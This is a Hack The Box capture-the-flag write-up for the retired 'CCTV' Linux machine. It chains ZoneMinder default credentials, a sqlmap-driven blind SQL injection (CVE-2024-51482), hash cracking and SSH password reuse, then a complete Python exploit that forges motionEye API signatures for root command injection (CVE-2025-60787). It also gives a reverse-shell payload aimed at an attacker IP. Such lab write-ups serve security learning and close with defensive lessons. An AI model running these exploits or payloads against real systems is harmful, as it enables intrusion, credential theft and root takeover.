root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat cctv.md
// writeups

CCTV

7 Mar 2026 · 16 min read
CCTV - maquina de Hack The Box

Executive summary — CCTV is an Easy Linux box with a surveillance theme (Ubuntu 24.04, kernel 6.8). The site runs ZoneMinder with default credentials (admin:admin); a time-based blind SQL injection (CVE-2024-51482) in the tid parameter dumps the Users table, including mark's bcrypt hash, which we crack with John and reuse over SSH. Once in, a world-readable config file leaks the SHA1 of motionEye's admin password —which doubles as its API signing key, so cracking it is unnecessary—, letting us forge authenticated requests and exploit CVE-2025-60787 (command injection in the motion binary, which runs as root) to run arbitrary commands. Path: ZoneMinder -> SQLi -> mark -> motionEye -> root.

PlatformHack The Box
Operating systemLinux (Ubuntu 24.04, kernel 6.8)
DifficultyEasy
StatusRetired
Target IP10.129.244.156

Attack map

[80] ZoneMinder (/zm) -> default credentials admin:admin
   |  SQLi CVE-2024-51482 (tid param) -> dump of the Users table
   v
[hash] mark bcrypt -> john/rockyou -> opensesame
   v
[SSH] mark  (user.txt lives in /home/sa_mark, not /home/mark)
   |  motion.conf leaks admin's SHA1 -> valid signature for motionEye's API
   |  CVE-2025-60787: command injection in motion (root) via image_file_name
   v
[ROOT] root.txt

1. Reconnaissance

The box blocks ICMP (no ping) and the attacking environment has no sudo: /etc/hosts can't be edited and nmap -sS is off the table. The vhost is resolved on the fly with curl --resolve or the Host: header, and ports are scanned with nmap -sT (TCP connect, unprivileged) or straight with bash's /dev/tcp.

nmap -sT -p- --min-rate 2000 10.129.244.156
bash -c 'echo > /dev/tcp/10.129.244.156/80' && echo "80 OPEN"
bash -c 'echo > /dev/tcp/10.129.244.156/22' && echo "22 OPEN"
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/

Port 80 redirects to cctv.htb: a corporate landing page, "SecureVision CCTV & Security Solutions", linking to /zm.

curl -s -I http://10.129.244.156/
curl -s --resolve cctv.htb:80:10.129.244.156 http://cctv.htb/ | grep -oiE 'href="[^"]*"'
# -> href="http://cctv.htb/zm"

/zm/ serves a ZoneMinder login, the surveillance system that gives the box its name:

curl -s --resolve cctv.htb:80:10.129.244.156 http://cctv.htb/zm/ | grep -i '<title>'
# <title>ZM - Login</title>

2. ZoneMinder — default credentials and version fingerprint

ZoneMinder's login handshake needs a CSRF token (__csrf_magic) and a session cookie (ZMSESSID), fetched with a GET and replayed in the login POST.

CJ=zm_cookies.txt

# 1) GET login -> ZMSESSID + __csrf_magic
curl -s --resolve cctv.htb:80:10.129.244.156 -c $CJ \
  "http://cctv.htb/zm/index.php?view=login" -o zm_login.html
CSRF=$(grep -oE "__csrf_magic' value=\"[^\"]*\"" zm_login.html | sed "s/.*value=\"//;s/\"//")

# 2) POST login with the default credentials
curl -s --resolve cctv.htb:80:10.129.244.156 -c $CJ -b $CJ "http://cctv.htb/zm/index.php" \
  --data-urlencode "__csrf_magic=$CSRF" \
  --data-urlencode "view=login" \
  --data-urlencode "action=login" \
  --data-urlencode "username=admin" \
  --data-urlencode "password=admin" \
  --data-urlencode "postLoginQuery="

# 3) Verify access + version
curl -s --resolve cctv.htb:80:10.129.244.156 -b $CJ \
  "http://cctv.htb/zm/index.php?view=console" | grep -oE '1\.37\.[0-9]+'
# -> 1.37.63

admin:admin works on the first try and confirms ZoneMinder version 1.37.63, vulnerable to a known SQL injection CVE.

3. SQLi (CVE-2024-51482) — dumping the Users table

CVE-2024-51482 is a time-based/boolean blind SQL injection in the tid parameter of the removetag endpoint. There's no output reflected in the response, but it can be confirmed and exploited through controlled delays (SLEEP) — exactly what sqlmap automates.

/zm/index.php?view=request&request=event&action=removetag&tid=1
ZMSESSID=$(grep ZMSESSID zm_cookies.txt | tail -1 | awk '{print $NF}')
curl -s -H "Host: cctv.htb" -b "ZMSESSID=$ZMSESSID" \
  "http://10.129.244.156/zm/index.php?view=request&request=event&action=removetag&tid=1"
# {"result":"Ok","response":0}
sqlmap -u "http://10.129.244.156/zm/index.php?view=request&request=event&action=removetag&tid=1" \
  --headers="Host: cctv.htb" --cookie="ZMSESSID=$ZMSESSID" \
  -p tid --dbms=mysql --batch --technique=BT --level=2 --risk=2 \
  -D zm -T Users -C Username,Password --dump

sqlmap confirms the time-based blind with the payload:

...&tid=1 AND (SELECT 2200 FROM (SELECT(SLEEP(5)))Pdfd)

And dumps the bcrypt hashes from the Users table:

UsernamePassword (bcrypt)
superadmin$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
mark$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

Optimisation: the superadmin hash that sqlmap reveals character by character matches a known reference hash —it's static data baked into the box image—, so the dump can be cut short and the cracking effort focused entirely on mark's hash, the one that actually leads to system access.

4. Cracking the hash and SSH access (user.txt)

echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > markhash.txt
john markhash.txt --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt
opensesame       (?)
1g 0:00:01:53 DONE

The password opensesame is reused for the OS-level SSH account, confirming mark uses the same credential on the web panel and on the server:

sshpass -p 'opensesame' ssh mark@10.129.244.156
# uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)

The flag is not in /home/mark: a second user, sa_mark, has a home directory locked down to 750, and that's where the real user.txt lives. Privilege escalation is required to read it.

ls -la /home
# drwxr-x--- mark    mark    ...
# drwxr-x--- sa_mark sa_mark ...   <-- Permission denied

5. Privilege escalation — motionEye / motion (CVE-2025-60787)

/etc/passwd has a service account called motion, and the box's own name (CCTV) points at the vector: motionEye, the web front-end for motion, is also running locally.

find / -name "motion.conf" 2>/dev/null
cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0   <-- motionEye admin SHA1
# @normal_username user
webcontrol_port 7999
camera camera-1.conf
ss -tlnp
# 127.0.0.1:8765  <- motionEye
# 127.0.0.1:7999  <- motion webcontrol

curl -s -I http://127.0.0.1:8765/
# Server: motionEye/0.43.1b4

motionEye v0.43.1b4 is vulnerable to CVE-2025-60787: validation of camera configuration fields happens client-side only (JavaScript). Nothing stops saving a server-side value containing shell syntax —including command substitution $(...)— in fields such as image_file_name. The motion process, which runs as root, processes that config when generating snapshots and executes whatever it finds inside $(...).

The key trick: forging the API signature

Rather than trying to bypass client-side JS validation from a browser, the attack targets motionEye's REST API directly. Every request is signed with an HMAC/SHA1 over method:path:body:key, and that key is the SHA1 hash of the admin password we just read from motion.conf. There's nothing to crack: the leaked hash is a valid signing key.

def compute_signature(method, path, body, key):
    # canonicalises method+path+query+body and signs with SHA1(...:key)
    return sha1(f"{method}:{path}:{body}:{key}").hexdigest().lower()

Relevant API endpoints:

  • GET /config/1/get — fetches camera 1's configuration.
  • POST /config/1/set — saves configuration (motion restarts with the new values).
  • POST /action/1/snapshot — forces a capture; this is when motion evaluates image_file_name.

Exploit

With the signing key in hand, the exploit runs from mark's session against 127.0.0.1:8765: it reads the current config, injects the payload into image_file_name, and forces three snapshots so motion evaluates it:

#!/usr/bin/env python3
import json, hashlib, re, time, urllib.parse, urllib.request

BASE = 'http://127.0.0.1:8765'
USER = 'admin'
KEY  = '989c5a8ee87a0e9521ec81a79187d162109282f0'   # @admin_password (SHA1)
_SIGNATURE_REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]":, -]')

# Runs as ROOT when motion builds the snapshot filename:
PAYLOAD = "$(cp /root/root.txt /tmp/rt.txt;cp /home/sa_mark/user.txt /tmp/ut.txt;chmod 666 /tmp/rt.txt /tmp/ut.txt)%Y-%m-%d-%H-%M-%S"

def compute_signature(method, path, body: bytes, key):
    parts = list(urllib.parse.urlsplit(path))
    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']
    query.sort(key=lambda q: q[0])
    query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
    query = '&'.join([q[0] + '=' + q[1] for q in query])
    parts[0] = parts[1] = ''; parts[3] = query
    path = _SIGNATURE_REGEX.sub('-', urllib.parse.urlunsplit(parts))
    key  = _SIGNATURE_REGEX.sub('-', key)
    try:    body_str = body.decode('utf-8')
    except: body_str = None
    if body_str and body_str.startswith('---'): body_str = None
    body_str = body_str and _SIGNATURE_REGEX.sub('-', body_str)
    return hashlib.sha1(f'{method}:{path}:{body_str or ""}:{key}'.encode()).hexdigest().lower()

def do(method, path, body=b''):
    sig = compute_signature(method, path, body, KEY)
    url = BASE + path + ('&' if '?' in path else '?') + '_signature=' + sig
    req = urllib.request.Request(url, data=(body if method=='POST' else None), method=method)
    if method == 'POST': req.add_header('Content-Type', 'application/json')
    try:    r = urllib.request.urlopen(req, timeout=25); return r.status, r.read()
    except urllib.error.HTTPError as e: return e.code, e.read()

# 1) read current config
_, body = do('GET', f'/config/1/get?_username={USER}')
cfg = json.loads(body)

# 2) inject the payload into image_file_name
cfg['image_file_name'] = PAYLOAD
do('POST', f'/config/1/set?_username={USER}', json.dumps(cfg).encode())

# 3) force snapshots -> motion evaluates the name -> runs $(...) as root
time.sleep(2)
for _ in range(3):
    do('POST', f'/action/1/snapshot?_username={USER}', b'{}')
    time.sleep(2)
scp pwn.py mark@10.129.244.156:/tmp/pwn.py
ssh mark@10.129.244.156 'python3 /tmp/pwn.py; cat /tmp/ut.txt; cat /tmp/rt.txt'
GET 200
old image_file_name = '%Y-%m-%d-%H-%M-%S'
SET 200 {"reload": false, "reboot": false, "error": null}
confirm image_file_name = '$(cp /root/root.txt /tmp/rt.txt;cp /home/sa_mark/user.txt /tmp/ut.txt;chmod 666 ...)%Y-%m-%d-%H-%M-%S'
SNAPSHOT 0 200 {}
--- user.txt ---
abe3fb39151a808821fb53f1ecb2a14f
--- root.txt ---
721341f2c89c85b796d2606b4fdf741f

RCE confirmed as root. Classic variant to get an interactive shell instead of just copying flags: set image_file_name = $(echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' > /tmp/rce.sh).%Y-%m-%d-%H-%M-%S and force a snapshot; then switch it to $(bash /tmp/rce.sh).%Y-%m-%d-%H-%M-%S and force another snapshot with a listener (nc -lvnp 4444) waiting on the attacker box.

Cleanup after exploitation: restore image_file_name to its original value (%Y-%m-%d-%H-%M-%S) and remove the temporary files copied into /tmp.

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdZoneMinderDefault credentials (admin:admin)Authenticated admin panel
InfoZoneMinder 1.37.63, tid paramSQLi (CVE-2024-51482)DB dump (hashes)
LateralUser mark (bcrypt)Weak / reused passwordSSH access (user.txt)
Info/etc/motioneye/motion.confAdmin hash in a readable filemotionEye API signing key
PrivEscmotionEye 0.43.1b4 / motion (root)Client-side-only validation + command injection (CVE-2025-60787)RCE as root

Lessons learned

  • Change default credentials: admin:admin is anyone's first attempt, and here it opens the door to everything else.
  • Parameterise SQL queries: a single blind injection, with no visible output, is enough for sqlmap to dump the entire users table.
  • Don't reuse passwords across the web panel and the operating system accounts.
  • Protect configuration files holding secrets: motion.conf was world-readable and its hash doubled as a full API signing key, no cracking required.
  • Validate on the server, never client-side only: motionEye's JS validation doesn't stop payloads sent straight to the REST API.
  • Surveillance software (ZoneMinder, motionEye/motion): these accumulate CVEs frequently; keep them updated, network-isolated, and never running as root.